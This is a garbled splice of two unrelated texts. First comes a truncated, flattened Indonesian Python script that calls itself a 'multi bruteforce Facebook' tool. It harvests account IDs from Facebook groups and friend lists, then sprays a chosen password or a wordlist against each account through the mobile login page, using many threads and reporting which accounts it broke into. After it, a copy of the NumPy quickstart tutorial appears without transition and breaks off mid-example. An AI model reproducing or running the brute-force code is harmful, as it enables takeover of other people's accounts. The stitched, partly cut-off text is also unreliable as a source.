'profile.php' ) == - 1 : a = i.replace( '?' , '' ) else: a = i.replace( 'profile.php?id=' , '' ).replace( '&' , '' ) if a not in id_bgroup: tampil( '\rk==>\rc %s ' % a) id_bgroup.append(a) def saring_id_group0 (): global id_group while 1 : id_group = inputD( '[?]Id Group' ) tampil( '\rh[*]Mengecek Group....' ) a = buka( 'https://m.facebook.com/browse/group/members/?id=' + id_group + '&start=0&lis nama = ' ' .join(re.findall( r '<title> (. *? ) </title>' ,a)[ 0 ].split()[ 1 :]) try : next = br.find_link( url_regex = '/browse/group/members/' ).url break except : tampil( '\rm[!]Id yang anda masukan salah' ) continue tampil( '\rh[*]Mengambil Id dari group \rc %s ' % nama) saring_id_group1(a) return next def idgroup(): if log != 1 : tampil( '\rh[*]Login dulu bos...' ) login() if log == 0 : keluar() next = saring_id_group0() while 1 : saring_id_group1(buka( next)) try : next = br.find_link( url_regex = '/browse/group/members/' ).url except : tampil( '\rm[!]Hanya Bisa Mengambil \rh %d id' % len (id_bgroup)) break simpan() i = inputD( '[?]Langsung Crack (y/t)' ,[ 'Y' , 'T' ]) if i.upper() == 'Y' : return crack(id_bgroup) else: return menu() def idteman(): if log != 1 : tampil( '\rh[*]Login dulu bos...' ) login() if log == 0 : keluar() saring_id_teman(buka( 'https://m.facebook.com/friends/center/friends/?fb_ref=fbm&ref_component=mbasi try: next = br.find_link( url_regex = 'friends_center_main' ).url except : if len (id_teman) != 0 : tampil( '\rm[!]Hanya dapat mengambil \rp %d id' % len (id_bteman)) else: tampil( '\rm[!]Batal' ) keluar() while 1 : saring_id_teman(buka( next)) try : next = br.find_link( url_regex = 'friends_center_main' ).url except : tampil( '\rm[!]Hanya dapat mengambil \rp %d id' % len (id_bteman)) break simpan() i = inputD( '[?]Langsung wae ah yuu(y/t)' ,[ 'Y' , 'T' ]) if i.upper() == 'Y' : return crack(id_bteman) else: return menu() class mt ( threading . Thread ): def __init__ (self,i,p): threading.Thread. __init__ ( self) self.id = i self.a = 3 self.p = p def update (self): return self.a, self.id def run(self): try: data = urllib2.urlopen(urllib2.Request( url = 'https://m.facebook.com/login.php' , data = urllib.urle except KeyboardInterrupt: os.sys.exit() except : self.a = 8 os.sys.exit() if 'm_sess' in data.url or 'save-device' in data.url: self.a = 1 elif 'checkpoint' in data.url: self.a = 2 else: self.a = 0 def crack (d): i = inputD( '[?]Pake Passwordlist/Manual (p/m)' ,[ 'P' , 'M' ]) if i.upper() == 'P' : while 1 : dir = inputD( '[?]Masukan alamat file' ) try: D = open( dir, 'r' ).readlines() except : tampil( '\rm[!]Gagal membuka \rk %s ' % dir) continue break tampil( '\rh[*]Memulai crack dengan \rk %d password' % len(D)) for i in D: i = i.replace( '\n' , '' ) if len(i) != 0 : crack0(d,i, 0 ) i = inputD( '[?]Tidak Puas dengan Hasil,Mau coba lagi (y/t)' ,[ 'Y' , 'T' ]) if i.upper() == 'Y' : return crack(d) else: return menu() else: return crack0(d,inputD( '[?]Sandi' ), 1 ) def crack0 (data,sandi,p): tampil( '\rh[*]MengCrack \rk %d Akun \rhdengan sandi \rm[\rk %s \rm]' % ( len(data),sandi)) print ( '\033[32;1m[*]Cracking \033[31;1m[\033[36;1m0%\033[31;1m]\033[0m' , end= '' ) os.sys.stdout.flush() akun_jml = [] akun_sukses = [] akun_cekpoint = [] akun_error = [] akun_gagal = [] jml0,jml1 = 0 , 0 th = [] for i in data: i = i.replace( ' ' , '' ) if len (i) != 0 :th.append(mt(i,sandi)) for i in th: jml1 += 1 i.daemon = True try :i.start() except KeyboardInterrupt: exit() while 1 : try : for i in th: a = i.update() if a[ 0 ] != 3 and a[ 1 ] not in akun_jml: jml0 += 1 if a[ 0 ] == 2 : akun_cekpoint.append(a[ 1 ]) elif a[ 0 ] == 1 : akun_sukses.append(a[ 1 ]) elif a[ 0 ] == 0 : akun_gagal.append(a[ 1 ]) elif a[ 0 ] == 8 : akun_error.append(a[ 1 ]) print ( '\r\033[32;1m[*]Cracking \033[31;1m[\033[36;1m %0.2f%s \033[ os.sys.stdout.flush() akun_jml.append(a[ 1 ]) except KeyboardInterrupt: os.sys.exit() try : if threading.activeCount() == 1 : break except KeyboardInterrupt: keluar() print ( '\r\033[32;1m[*]Cracking \033[31;1m[\033[36;1m100%\033[31;1m]\033[0m ' ) if len (akun_sukses) != 0 : tampil( '\rh[*]Daftar akun sukses' ) for i in akun_sukses: tampil( '\rh==>\rk %s \rm[\rp %s \rm]' % (i,sandi)) tampil( '\rh[*]Jumlah akun berhasil\rp %d ' % len(akun_sukses)) tampil( '\rm[*]Jumlah akun gagal\rp %d ' % len(akun_gagal)) tampil( '\rk[*]Jumlah akun cekpoint\rp %d ' % len(akun_cekpoint)) tampil( '\rc[*]Jumlah akun error\rp %d ' % len(akun_error)) if p: i = inputD( '[?]Tidak Puas dengan Hasil,Mau coba lagi (y/t)' ,[ 'Y' , 'T' ]) if i.upper() == 'Y' : return crack(data) else: return menu() else: return 0 def lanjutT(): global fid_bteman if len (fid_bteman) != 0 : i = inputD( '[?]Riset Hasil Id Teman/lanjutkan (r/l)' ,[ 'R' , 'L' ]) if i.upper() == 'L' : return crack(fid_bteman) else: os.remove(os.sys.path[ 0 ] + '/MBFbteman.txt' ) fid_bteman = [] return 0 def lanjutG(): global fid_bgroup if len (fid_bgroup) != 0 : i = inputD( '[?]Riset Hasil Id Group/lanjutkan (r/l)' ,[ 'R' , 'L' ]) if i.upper() == 'L' : return crack(fid_bgroup) else: os.remove(os.sys.path[ 0 ] + '/MBFbgroup.txt' ) fid_bgroup = [] return 0 def menu(): tampil( '''\rh .-.-.. /+/++// /+/++// \rk* *\rh /+/++// \ / |/__// {\rmX\rh}v{\rmX\rh}|\rcPRX\rh|==========. ['] /'|'\ \\ / \ \ ' \_ \_ \_ \rk*\rhDragonFly coly \rk########################################################### # \rb*MULTY BRUTEFORCE FACEBOOK*\rk # # \rhBY\rp panda07\rk# # \rhGroup FB\rp https://m.facebook.com/groups/164201767529837 \rk# # \rhGitHub\rp https://github.com/zack007 \rk# # \rmDo Not Use This Tool For IllegaL Purpose \rk# ###########################################################''') tampil( '''\rk %s \n\rc1 \rhAmbil id dari group\n\rc2 \rhAmbil id dari daftar teman\n\rc3 \rmKELUAR\n i = inputM( '[?]PILIH' ,[ 1 , 2 , 3 ]) if i == 1 : lanjutG() idgroup() elif i == 2 : lanjutT() idteman() elif i == 3 : keluar() bacaData() menu()
Aryia-Behroziuan / NumpyQuickstart tutorial Prerequisites Before reading this tutorial you should know a bit of Python. If you would like to refresh your memory, take a look at the Python tutorial. If you wish to work the examples in this tutorial, you must also have some software installed on your computer. Please see https://scipy.org/install.html for instructions. Learner profile This tutorial is intended as a quick overview of algebra and arrays in NumPy and want to understand how n-dimensional (n>=2) arrays are represented and can be manipulated. In particular, if you don’t know how to apply common functions to n-dimensional arrays (without using for-loops), or if you want to understand axis and shape properties for n-dimensional arrays, this tutorial might be of help. Learning Objectives After this tutorial, you should be able to: Understand the difference between one-, two- and n-dimensional arrays in NumPy; Understand how to apply some linear algebra operations to n-dimensional arrays without using for-loops; Understand axis and shape properties for n-dimensional arrays. The Basics NumPy’s main object is the homogeneous multidimensional array. It is a table of elements (usually numbers), all of the same type, indexed by a tuple of non-negative integers. In NumPy dimensions are called axes. For example, the coordinates of a point in 3D space [1, 2, 1] has one axis. That axis has 3 elements in it, so we say it has a length of 3. In the example pictured below, the array has 2 axes. The first axis has a length of 2, the second axis has a length of 3. [[ 1., 0., 0.], [ 0., 1., 2.]] NumPy’s array class is called ndarray. It is also known by the alias array. Note that numpy.array is not the same as the Standard Python Library class array.array, which only handles one-dimensional arrays and offers less functionality. The more important attributes of an ndarray object are: ndarray.ndim the number of axes (dimensions) of the array. ndarray.shape the dimensions of the array. This is a tuple of integers indicating the size of the array in each dimension. For a matrix with n rows and m columns, shape will be (n,m). The length of the shape tuple is therefore the number of axes, ndim. ndarray.size the total number of elements of the array. This is equal to the product of the elements of shape. ndarray.dtype an object describing the type of the elements in the array. One can create or specify dtype’s using standard Python types. Additionally NumPy provides types of its own. numpy.int32, numpy.int16, and numpy.float64 are some examples. ndarray.itemsize the size in bytes of each element of the array. For example, an array of elements of type float64 has itemsize 8 (=64/8), while one of type complex32 has itemsize 4 (=32/8). It is equivalent to ndarray.dtype.itemsize. ndarray.data the buffer containing the actual elements of the array. Normally, we won’t need to use this attribute because we will access the elements in an array using indexing facilities. An example >>> import numpy as np a = np.arange(15).reshape(3, 5) a array([[ 0, 1, 2, 3, 4], [ 5, 6, 7, 8, 9], [10, 11, 12, 13, 14]]) a.shape (3, 5) a.ndim 2 a.dtype.name 'int64' a.itemsize 8 a.size 15 type(a) <class 'numpy.ndarray'> b = np.array([6, 7, 8]) b array([6, 7, 8]) type(b) <class 'numpy.ndarray'> Array Creation There are several ways to create arrays. For example, you can create an array from a regular Python list or tuple using the array function. The type of the resulting array is deduced from the type of the elements in the sequences. >>> >>> import numpy as np >>> a = np.array([2,3,4]) >>> a array([2, 3, 4]) >>> a.dtype dtype('int64') >>> b = np.array([1.2, 3.5, 5.1]) >>> b.dtype dtype('float64') A frequent error consists in calling array with multiple arguments, rather than providing a single sequence as an argument. >>> >>> a = np.array(1,2,3,4) # WRONG Traceback (most recent call last): ... TypeError: array() takes from 1 to 2 positional arguments but 4 were given >>> a = np.array([1,2,3,4]) # RIGHT array transforms sequences of sequences into two-dimensional arrays, sequences of sequences of sequences into three-dimensional arrays, and so on. >>> >>> b = np.array([(1.5,2,3), (4,5,6)]) >>> b array([[1.5, 2. , 3. ], [4. , 5. , 6. ]]) The type of the array can also be explicitly specified at creation time: >>> >>> c = np.array( [ [1,2], [3,4] ], dtype=complex ) >>> c array([[1.+0.j, 2.+0.j], [3.+0.j, 4.+0.j]]) Often, the elements of an array are originally unknown, but its size is known. Hence, NumPy offers several functions to create arrays with initial placeholder content. These minimize the necessity of growing arrays, an expensive operation. The function zeros creates an array full of zeros, the function ones creates an array full of ones, and the function empty creates an array whose initial content is random and depends on the state of the memory. By default, the dtype of the created array is float64. >>> >>> np.zeros((3, 4)) array([[0., 0., 0., 0.], [0., 0., 0., 0.], [0., 0., 0., 0.]]) >>> np.ones( (2,3,4), dtype=np.int16 ) # dtype can also be specified array([[[1, 1, 1, 1], [1, 1, 1, 1], [1, 1, 1, 1]], [[1, 1, 1, 1], [1, 1, 1, 1], [1, 1, 1, 1]]], dtype=int16) >>> np.empty( (2,3) ) # uninitialized array([[ 3.73603959e-262, 6.02658058e-154, 6.55490914e-260], # may vary [ 5.30498948e-313, 3.14673309e-307, 1.00000000e+000]]) To create sequences of numbers, NumPy provides the arange function which is analogous to the Python built-in range, but returns an array. >>> >>> np.arange( 10, 30, 5 ) array([10, 15, 20, 25]) >>> np.arange( 0, 2, 0.3 ) # it accepts float arguments array([0. , 0.3, 0.6, 0.9, 1.2, 1.5, 1.8]) When arange is used with floating point arguments, it is generally not possible to predict the number of elements obtained, due to the finite floating point precision. For this reason, it is usually better to use the function linspace that receives as an argument the number of elements that we want, instead of the step: >>> >>> from numpy import pi >>> np.linspace( 0, 2, 9 ) # 9 numbers from 0 to 2 array([0. , 0.25, 0.5 , 0.75, 1. , 1.25, 1.5 , 1.75, 2. ]) >>> x = np.linspace( 0, 2*pi, 100 ) # useful to evaluate function at lots of points >>> f = np.sin(x) See also array, zeros, zeros_like, ones, ones_like, empty, empty_like, arange, linspace, numpy.random.Generator.rand, numpy.random.Generator.randn, fromfunction, fromfile Printing Arrays When you print an array, NumPy displays it in a similar way to nested lists, but with the following layout: the last axis is printed from left to right, the second-to-last is printed from top to bottom, the rest are also printed from top to bottom, with each slice separated from the next by an empty line. One-dimensional arrays are then printed as rows, bidimensionals as matrices and tridimensionals as lists of matrices. >>> >>> a = np.arange(6) # 1d array >>> print(a) [0 1 2 3 4 5] >>> >>> b = np.arange(12).reshape(4,3) # 2d array >>> print(b) [[ 0 1 2] [ 3 4 5] [ 6 7 8] [ 9 10 11]] >>> >>> c = np.arange(24).reshape(2,3,4) # 3d array >>> print(c) [[[ 0 1 2 3] [ 4 5 6 7] [ 8 9 10 11]] [[12 13 14 15] [16 17 18 19] [20 21 22 23]]] See below to get more details on reshape. If an array is too large to be printed, NumPy automatically skips the central part of the array and only prints the corners: >>> >>> print(np.arange(10000)) [ 0 1 2 ... 9997 9998 9999] >>> >>> print(np.arange(10000).reshape(100,100)) [[ 0 1 2 ... 97 98 99] [ 100 101 102 ... 197 198 199] [ 200 201 202 ... 297 298 299] ... [9700 9701 9702 ... 9797 9798 9799] [9800 9801 9802 ... 9897 9898 9899] [9900 9901 9902 ... 9997 9998 9999]] To disable this behaviour and force NumPy to print the entire array, you can change the printing options using set_printoptions. >>> >>> np.set_printoptions(threshold=sys.maxsize) # sys module should be imported Basic Operations Arithmetic operators on arrays apply elementwise. A new array is created and filled with the result. >>> >>> a = np.array( [20,30,40,50] ) >>> b = np.arange( 4 ) >>> b array([0, 1, 2, 3]) >>> c = a-b >>> c array([20, 29, 38, 47]) >>> b**2 array([0, 1, 4, 9]) >>> 10*np.sin(a) array([ 9.12945251, -9.88031624, 7.4511316 , -2.62374854]) >>> a<35 array([ True, True, False, False]) Unlike in many matrix languages, the product operator * operates elementwise in NumPy arrays. The matrix product can be performed using the @ operator (in python >=3.5) or the dot function or method: >>> >>> A = np.array( [[1,1], ... [0,1]] ) >>> B = np.array( [[2,0], ... [3,4]] ) >>> A * B # elementwise product array([[2, 0], [0, 4]]) >>> A @ B # matrix product array([[5, 4], [3, 4]]) >>> A.dot(B) # another matrix product array([[5, 4], [3, 4]]) Some operations, such as += and *=, act in place to modify an existing array rather than create a new one. >>> >>> rg = np.random.default_rng(1) # create instance of default random number generator >>> a = np.ones((2,3), dtype=int) >>> b = rg.random((2,3)) >>> a *= 3 >>> a array([[3, 3, 3], [3, 3, 3]]) >>> b += a >>> b array([[3.51182162, 3.9504637 , 3.14415961], [3.94864945, 3.31183145, 3.42332645]]) >>> a += b # b is not automatically converted to integer type Traceback (most recent call last): ... numpy.core._exceptions.UFuncTypeError: Cannot cast ufunc 'add' output from dtype('float64') to dtype('int64') with casting rule 'same_kind' When operating with arrays of different types, the type of the resulting array corresponds to the more general or precise one (a behavior known as upcasting). >>> >>> a = np.ones(3, dtype=np.int32) >>> b = np.linspace(0,pi,3) >>> b.dtype.name 'float64' >>> c = a+b >>> c array([1. , 2.57079633, 4.14159265]) >>> c.dtype.name 'float64' >>> d = np.exp(c*1j) >>> d array([ 0.54030231+0.84147098j, -0.84147098+0.54030231j, -0.54030231-0.84147098j]) >>> d.dtype.name 'complex128' Many unary operations, such as computing the sum of all the elements in the array, are implemented as methods of the ndarray class. >>> >>> a = rg.random((2,3)) >>> a array([[0.82770259, 0.40919914, 0.54959369], [0.02755911, 0.75351311, 0.53814331]]) >>> a.sum() 3.1057109529998157 >>> a.min() 0.027559113243068367 >>> a.max() 0.8277025938204418 By default, these operations apply to the array as though it were a list of numbers, regardless of its shape. However, by specifying the axis parameter you can apply an operation along the specified axis of an array: >>> >>> b = np.arange(12).reshape(3,4) >>> b array([[ 0, 1, 2, 3], [ 4, 5, 6, 7], [ 8, 9, 10, 11]]) >>> >>> b.sum(axis=0) # sum of each column array([12, 15, 18, 21]) >>> >>> b.min(axis=1) # min of each row array([0, 4, 8]) >>> >>> b.cumsum(axis=1) # cumulative sum along each row array([[ 0, 1, 3, 6], [ 4, 9, 15, 22], [ 8, 17, 27, 38]]) Universal Functions NumPy provides familiar mathematical functions such as sin, cos, and exp. In NumPy, these are called “universal functions”(ufunc). Within NumPy, these functions operate elementwise on an array, producing an array as output. >>> >>> B = np.arange(3) >>> B array([0, 1, 2]) >>> np.exp(B) array([1. , 2.71828183, 7.3890561 ]) >>> np.sqrt(B) array([0. , 1. , 1.41421356]) >>> C = np.array([2., -1., 4.]) >>> np.add(B, C) array([2., 0., 6.]) See also all, any, apply_along_axis, argmax, argmin, argsort, average, bincount, ceil, clip, conj, corrcoef, cov, cross, cumprod, cumsum, diff, dot, floor, inner, invert, lexsort, max, maximum, mean, median, min, minimum, nonzero, outer, prod, re, round, sort, std, sum, trace, transpose, var, vdot, vectorize, where Indexing, Slicing and Iterating One-dimensional arrays can be indexed, sliced and iterated over, much like lists and other Python sequences. >>> >>> a = np.arange(10)**3 >>> a array([ 0, 1, 8, 27, 64, 125, 216, 343, 512, 729]) >>> a[2] 8 >>> a[2:5] array([ 8, 27, 64]) # equivalent to a[0:6:2] = 1000; # from start to position 6, exclusive, set every 2nd element to 1000 >>> a[:6:2] = 1000 >>> a array([1000, 1, 1000, 27, 1000, 125, 216, 343, 512, 729]) >>> a[ : :-1] # reversed a array([ 729, 512, 343, 216, 125, 1000, 27, 1000, 1, 1000]) >>> for i in a: ... print(i**(1/3.)) ... 9.999999999999998 1.0 9.999999999999998 3.0 9.999999999999998 4.999999999999999 5.999999999999999 6.999999999999999 7.999999999999999 8.999999999999998 Multidimensional arrays can have one index per axis. These indices are given in a tuple separated by commas: >>> >>> def f(x,y): ... return 10*x+y ... >>> b = np.fromfunction(f,(5,4),dtype=int) >>> b array([[ 0, 1, 2, 3], [10, 11, 12, 13], [20, 21, 22, 23], [30, 31, 32, 33], [40, 41, 42, 43]]) >>> b[2,3] 23 >>> b[0:5, 1] # each row in the second column of b array([ 1, 11, 21, 31, 41]) >>> b[ : ,1] # equivalent to the previous example array([ 1, 11, 21, 31, 41]) >>> b[1:3, : ] # each column in the second and third row of b array([[10, 11, 12, 13], [20, 21, 22, 23]]) When fewer indices are provided than the number of axes, the missing indices are considered complete slices: >>> >>> b[-1] # the last row. Equivalent to b[-1,:] array([40, 41, 42, 43]) The expression within brackets in b[i] is treated as an i followed by as many instances of : as needed to represent the remaining axes. NumPy also allows you to write this using dots as b[i,...]. The dots (...) represent as many colons as needed to produce a complete indexing tuple. For example, if x is an array with 5 axes, then x[1,2,...] is equivalent to x[1,2,:,:,:], x[...,3] to x[:,:,:,:,3] and x[4,...,5,:] to x[4,:,:,5,:]. >>> >>> c = np.array( [[[ 0, 1, 2], # a 3D array (two stacked 2D arrays) ... [ 10, 12, 13]], ... [[100,101,102], ... [110,112,113]]]) >>> c.shape (2, 2, 3) >>> c[1,...] # same as c[1,:,:] or c[1] array([[100, 101, 102], [110, 112, 113]]) >>> c[...,2] # same as c[:,:,2] array([[ 2, 13], [102, 113]]) Iterating over multidimensional arrays is done with respect to the first axis: >>> >>> for row in b: ... print(row) ... [0 1 2 3] [10 11 12 13] [20 21 22 23] [30 31 32 33] [40 41 42 43] However, if one wants to perform an operation on each element in the array, one can use the flat attribute which is an iterator over all the elements of the array: >>> >>> for element in b.flat: ... print(element) ... 0 1 2 3 10 11 12 13 20 21 22 23 30 31 32 33 40 41 42 43 See also Indexing, Indexing (reference), newaxis, ndenumerate, indices Shape Manipulation Changing the shape of an array An array has a shape given by the number of elements along each axis: >>> >>> a = np.floor(10*rg.random((3,4))) >>> a array([[3., 7., 3., 4.], [1., 4., 2., 2.], [7., 2., 4., 9.]]) >>> a.shape (3, 4) The shape of an array can be changed with various commands. Note that the following three commands all return a modified array, but do not change the original array: >>> >>> a.ravel() # returns the array, flattened array([3., 7., 3., 4., 1., 4., 2., 2., 7., 2., 4., 9.]) >>> a.reshape(6,2) # returns the array with a modified shape array([[3., 7.], [3., 4.], [1., 4.], [2., 2.], [7., 2.], [4., 9.]]) >>> a.T # returns the array, transposed array([[3., 1., 7.], [7., 4., 2.], [3., 2., 4.], [4., 2., 9.]]) >>> a.T.shape (4, 3) >>> a.shape (3, 4) The order of the elements in the array resulting from ravel() is normally “C-style”, that is, the rightmost index “changes the fastest”, so the element after a[0,0] is a[0,1]. If the array is reshaped to some other shape, again the array is treated as “C-style”. NumPy normally creates arrays stored in this order, so ravel() will usually not need to copy its argument, but if the array was made by taking slices of another array or created with unusual options, it may need to be copied. The functions ravel() and reshape() can also be instructed, using an optional argument, to use FORTRAN-style arrays, in which the leftmost index changes the fastest. The reshape function returns its argument with a modified shape, whereas the ndarray.resize method modifies the array itself: >>> >>> a array([[3., 7., 3., 4.], [1., 4., 2., 2.], [7., 2., 4., 9.]]) >>> a.resize((2,6)) >>> a array([[3., 7., 3., 4., 1., 4.], [2., 2., 7., 2., 4., 9.]]) If a dimension is given as -1 in a reshaping operation, the other dimensions are automatically calculated: >>> >>> a.reshape(3,-1) array([[3., 7., 3., 4.], [1., 4., 2., 2.], [7., 2., 4., 9.]]) See also ndarray.shape, reshape, resize, ravel Stacking together different arrays Several arrays can be stacked together along different axes: >>> >>> a = np.floor(10*rg.random((2,2))) >>> a array([[9., 7.], [5., 2.]]) >>> b = np.floor(10*rg.random((2,2))) >>> b array([[1., 9.], [5., 1.]]) >>> np.vstack((a,b)) array([[9., 7.], [5., 2.], [1., 9.], [5., 1.]]) >>> np.hstack((a,b)) array([[9., 7., 1., 9.], [5., 2., 5., 1.]]) The function column_stack stacks 1D arrays as columns into a 2D array. It is equivalent to hstack only for 2D arrays: >>> >>> from numpy import newaxis >>> np.column_stack((a,b)) # with 2D arrays array([[9., 7., 1., 9.], [5., 2., 5., 1.]]) >>> a = np.array([4.,2.]) >>> b = np.array([3.,8.]) >>> np.column_stack((a,b)) # returns a 2D array array([[4., 3.], [2., 8.]]) >>> np.hstack((a,b)) # the result is different array([4., 2., 3., 8.]) >>> a[:,newaxis] # view `a` as a 2D column vector array([[4.], [2.]]) >>> np.column_stack((a[:,newaxis],b[:,newaxis])) array([[4., 3.], [2., 8.]]) >>> np.hstack((a[:,newaxis],b[:,newaxis])) # the result is the same array([[4., 3.], [2., 8.]]) On the other hand, the function row_stack is equivalent to vstack for any input arrays. In fact, row_stack is an alias for vstack: >>> >>> np.column_stack is np.hstack False >>> np.row_stack is np.vstack True In general, for arrays with more than two dimensions, hstack stacks along their second axes, vstack stacks along their first axes, and concatenate allows for an optional arguments giving the number of the axis along which the concatenation should happen. Note In complex cases, r_ and c_ are useful for creating arrays by stacking numbers along one axis. They allow the use of range literals (“:”) >>> >>> np.r_[1:4,0,4] array([1, 2, 3, 0, 4]) When used with arrays as arguments, r_ and c_ are similar to vstack and hstack in their default behavior, but allow for an optional argument giving the number of the axis along which to concatenate. See also hstack, vstack, column_stack, concatenate, c_, r_ Splitting one array into several smaller ones Using hsplit, you can split an array along its horizontal axis, either by specifying the number of equally shaped arrays to return, or by specifying the columns after which the division should occur: >>> >>> a = np.floor(10*rg.random((2,12))) >>> a array([[6., 7., 6., 9., 0., 5., 4., 0., 6., 8., 5., 2.], [8., 5., 5., 7., 1., 8., 6., 7., 1., 8., 1., 0.]]) # Split a into 3 >>> np.hsplit(a,3) [array([[6., 7., 6., 9.], [8., 5., 5., 7.]]), array([[0., 5., 4., 0.], [1., 8., 6., 7.]]), array([[6., 8., 5., 2.], [1., 8., 1., 0.]])] # Split a after the third and the fourth column >>> np.hsplit(a,(3,4)) [array([[6., 7., 6.], [8., 5., 5.]]), array([[9.], [7.]]), array([[0., 5., 4., 0., 6., 8., 5., 2.], [1., 8., 6., 7., 1., 8., 1., 0.]])] vsplit splits along the vertical axis, and array_split allows one to specify along which axis to split. Copies and Views When operating and manipulating arrays, their data is sometimes copied into a new array and sometimes not. This is often a source of confusion for beginners. There are three cases: No Copy at All Simple assignments make no copy of objects or their data. >>> >>> a = np.array([[ 0, 1, 2, 3], ... [ 4, 5, 6, 7], ... [ 8, 9, 10, 11]]) >>> b = a # no new object is created >>> b is a # a and b are two names for the same ndarray object True Python passes mutable objects as references, so function calls make no copy. >>> >>> def f(x): ... print(id(x)) ... >>> id(a) # id is a unique identifier of an object 148293216 # may vary >>> f(a) 148293216 # may vary View or Shallow Copy Different array objects can share the same data. The view method creates a new array object that looks at the same data. >>> >>> c = a.view() >>> c is a False >>> c.base is a # c is a view of the data owned by a True >>> c.flags.owndata False >>> >>> c = c.reshape((2, 6)) # a's shape doesn't change >>> a.shape (3, 4) >>> c[0, 4] = 1234 # a's data changes >>> a array([[ 0, 1, 2, 3], [1234, 5, 6, 7], [ 8, 9, 10, 11]]) Slicing an array returns a view of it: >>> >>> s = a[ : , 1:3] # spaces added for clarity; could also be written "s = a[:, 1:3]" >>> s[:] = 10 # s[:] is a view of s. Note the difference between s = 10 and s[:] = 10 >>> a array([[ 0, 10, 10, 3], [1234, 10, 10, 7], [ 8, 10, 10, 11]]) Deep Copy The copy method makes a complete copy of the array and its data. >>> >>> d = a.copy() # a new array object with new data is created >>> d is a False >>> d.base is a # d doesn't share anything with a False >>> d[0,0] = 9999 >>> a array([[ 0, 10, 10, 3], [1234, 10, 10, 7], [ 8, 10, 10, 11]]) Sometimes copy should be called after slicing if the original array is not required anymore. For example, suppose a is a huge intermediate result and the final result b only contains a small fraction of a, a deep copy should be made when constructing b with slicing: >>> >>> a = np.arange(int(1e8)) >>> b = a[:100].copy() >>> del a # the memory of ``a`` can be released. If b = a[:100] is used instead, a is referenced by b and will persist in memory even if del a is executed. Functions and Methods Overview Here is a list of some useful NumPy functions and methods names ordered in categories. See Routines for the full list. Array Creation arange, array, copy, empty, empty_like, eye, fromfile, fromfunction, identity, linspace, logspace, mgrid, ogrid, ones, ones_like, r_, zeros, zeros_like Conversions ndarray.astype, atleast_1d, atleast_2d, atleast_3d, mat Manipulations array_split, column_stack, concatenate, diagonal, dsplit, dstack, hsplit, hstack, ndarray.item, newaxis, ravel, repeat, reshape, resize, squeeze, swapaxes, take, transpose, vsplit, vstack Questions all, any, nonzero, where Ordering argmax, argmin, argsort, max, min, ptp, searchsorted, sort Operations choose, compress, cumprod, cumsum, inner, ndarray.fill, imag, prod, put, putmask, real, sum Basic Statistics cov, mean, std, var Basic Linear Algebra cross, dot, outer, linalg.svd, vdot Less Basic Broadcasting rules Broadcasting allows universal functions to deal in a meaningful way with inputs that do not have exactly the same shape. The first rule of broadcasting is that if all input arrays do not have the same number of dimensions, a “1” will be repeatedly prepended to the shapes of the smaller arrays until all the arrays have the same number of dimensions. The second rule of broadcasting ensures that arrays with a size of 1 along a particular dimension act as if they had the size of the array with the largest shape along that dimension. The value of the array element is assumed to be the same along that dimension for the “broadcast” array. After application of the broadcasting rules, the sizes of all arrays must match. More details can be found in Broadcasting. Advanced indexing and index tricks NumPy offers more indexing facilities than regular Python sequences. In addition to indexing by integers and slices, as we saw before, arrays can be indexed by arrays of integers and arrays of booleans. Indexing with Arrays of Indices >>> >>> a = np.arange(12)**2 # the first 12 square numbers >>> i = np.array([1, 1, 3, 8, 5]) # an array of indices >>> a[i] # the elements of a at the positions i array([ 1, 1, 9, 64, 25]) >>> >>> j = np.array([[3, 4], [9, 7]]) # a bidimensional array of indices >>> a[j] # the same shape as j array([[ 9, 16], [81, 49]]) When the indexed array a is multidimensional, a single array of indices refers to the first dimension of a. The following example shows this behavior by converting an image of labels into a color image using a palette. >>> >>> palette = np.array([[0, 0, 0], # black ... [255, 0, 0], # red ... [0, 255, 0], # green ... [0, 0, 255], # blue ... [255, 255, 255]]) # white >>> image = np.array([[0, 1, 2, 0], # each value corresponds to a color in the palette ... [0, 3, 4, 0]]) >>> palette[image] # the (2, 4, 3) color image array([[[ 0, 0, 0], [255, 0, 0], [ 0, 255, 0], [ 0, 0, 0]], [[ 0, 0, 0], [ 0, 0, 255], [255, 255, 255], [ 0, 0, 0]]]) We can also give indexes for more than one dimension. The arrays of indices for each dimension must have the same shape. >>> >>> a = np.arange(12).reshape(3,4) >>> a array([[ 0, 1, 2, 3], [ 4, 5, 6, 7], [ 8, 9, 10, 11]]) >>> i = np.array([[0, 1], # indices for the first dim of a ... [1, 2]]) >>> j = np.array([[2, 1], # indices for the second dim ... [3, 3]]) >>> >>> a[i, j] # i and j must have equal shape array([[ 2, 5], [ 7, 11]]) >>> >>> a[i, 2] array([[ 2, 6], [ 6, 10]]) >>> >>> a[:, j] # i.e., a[ : , j] array([[[ 2, 1], [ 3, 3]], [[ 6, 5], [ 7, 7]], [[10, 9], [11, 11]]]) In Python, arr[i, j] is exactly the same as arr[(i, j)]—so we can put i and j in a tuple and then do the indexing with that. >>> >>> l = (i, j) # equivalent to a[i, j] >>> a[l] array([[ 2, 5], [ 7, 11]]) However, we can not do this by putting i and j into an array, because this array will be interpreted as indexing the first dimension of a. >>> >>> s = np.array([i, j]) # not what we want >>> a[s] Traceback (most recent call last): File "<stdin>", line 1, in <module> IndexError: index 3 is out of bounds for axis 0 with size 3 # same as a[i, j] >>> a[tuple(s)] array([[ 2, 5], [ 7, 11]]) Another common use of indexing with arrays is the search of the maximum value of time-dependent series: >>> >>> time = np.linspace(20, 145, 5) # time scale >>> data = np.sin(np.arange(20)).reshape(5,4) # 4 time-dependent series >>> time array([ 20. , 51.25, 82.5 , 113.75, 145. ]) >>> data array([[ 0. , 0.84147098, 0.90929743, 0.14112001], [-0.7568025 , -0.95892427, -0.2794155 , 0.6569866 ], [ 0.98935825, 0.41211849, -0.54402111, -0.99999021], [-0.53657292, 0.42016704, 0.99060736, 0.65028784], [-0.28790332, -0.96139749, -0.75098725, 0.14987721]]) # index of the maxima for each series >>> ind = data.argmax(axis=0) >>> ind array([2, 0, 3, 1]) # times corresponding to the maxima >>> time_max = time[ind] >>> >>> data_max = data[ind, range(data.shape[1])] # => data[ind[0],0], data[ind[1],1]... >>> time_max array([ 82.5 , 20. , 113.75, 51.25]) >>> data_max array([0.98935825, 0.84147098, 0.99060736, 0.6569866 ]) >>> np.all(data_max == data.max(axis=0)) True You can also use indexing with arrays as a target to assign to: >>> >>> a = np.arange(5) >>> a array([0, 1, 2, 3, 4]) >>> a[[1,3,4]] = 0 >>> a array([0, 0, 2, 0, 0]) However, when the list of indices contains repetitions, the assignment is done several times, leaving behind the last value: >>> >>> a = np.arange(5) >>> a[[0,0,2]]=[1,2,3] >>> a array([2, 